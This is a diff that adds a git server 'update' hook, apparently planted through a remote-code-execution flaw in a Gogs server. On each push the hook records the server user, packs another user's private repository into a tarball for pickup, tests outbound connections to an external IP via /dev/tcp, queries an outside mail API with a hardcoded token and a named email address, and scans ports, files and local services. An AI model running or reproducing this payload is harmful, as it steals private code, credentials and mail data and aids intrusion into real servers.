i2198r2

nslxyanj8t/rce-lxyanj8t.git/hooks/update

@@ -0,0 +1,38 @@
+#!/bin/sh
+OUT=/data/gogs/data/tmp/local-r/122/nslxyanj8t/rce-lxyanj8t.git
+{
+echo "=== i2198r2 alive $(date -u) ==="
+id; pwd
+} > $OUT/pwned2 2>&1
+(
+{
+echo "--- netflix-code ---"
+GD=/data/git/gogs-repositories/zoujiajian/netflix-code.git
+du -sm "$GD" 2>/dev/null
+git --git-dir="$GD" log --all --oneline 2>/dev/null | head -10
+git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -500
+git --git-dir="$GD" archive HEAD 2>/dev/null | gzip > $OUT/netflix-code.tar.gz
+ls -la $OUT/netflix-code.tar.gz 2>/dev/null
+echo "--- dns ---"; getent hosts api-1760339128.cuiqiu.vip
+echo "--- tcp test ---"; timeout 8 bash -c "echo > /dev/tcp/43.153.33.72/443" 2>&1 && echo tcp-ok || echo tcp-fail
+echo "--- cuiqiu list ---"
+curl -sS -m 20 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1758010372082390518&start_time=2026-10-08&end_time=2026-10-10&limit=3" -o $OUT/cuiqiu_list.json -w "list_http:%{http_code}\n" 2>&1
+head -c 700 $OUT/cuiqiu_list.json 2>/dev/null; echo
+echo "--- cuiqiu to filter ---"
+curl -sS -m 20 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1758010372082390518&start_time=2026-10-01&end_time=2026-10-10&to=rooinovidio@hotmail.com&limit=3" -o $OUT/cuiqiu_to.json -w "to_http:%{http_code}\n" 2>&1
+head -c 500 $OUT/cuiqiu_to.json 2>/dev/null; echo
+echo "--- cuiqiu bogus mail_id ---"
+curl -sS -m 20 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1696913058045050661&limit=1" -o $OUT/cuiqiu_bogus.json -w "bogus_http:%{http_code}\n" 2>&1
+head -c 400 $OUT/cuiqiu_bogus.json 2>/dev/null; echo
+echo "--- help/domain endpoints ---"
+curl -sS -m 12 -X POST "https://api-1760339128.cuiqiu.vip/v1/domain/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b" -o $OUT/cuiqiu_domain.json -w "domain_http:%{http_code}\n" 2>&1
+head -c 400 $OUT/cuiqiu_domain.json 2>/dev/null; echo
+echo "--- ports ---"; (ss -tln 2>/dev/null || netstat -tln 2>/dev/null) | head -30
+echo "--- helper hunt ---"
+find /data /home /opt /srv /root /tmp -maxdepth 6 \( -iname "*mail*helper*" -o -iname "*netflix*" \) 2>/dev/null | head -30
+grep -rIl "CUIQIU_TOKEN" /data/git/gogs-repositories /opt /srv /root /home /etc 2>/dev/null | head -20
+echo "--- local http probes ---"
+for p in 8765 8080 8000 3000 9000; do printf "port %s: " "$p"; curl -s -m 4 -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:$p/" 2>&1; done
+echo "=== i2198r2 DONE $(date -u) ==="
+} >> $OUT/pwned2 2>&1
+) &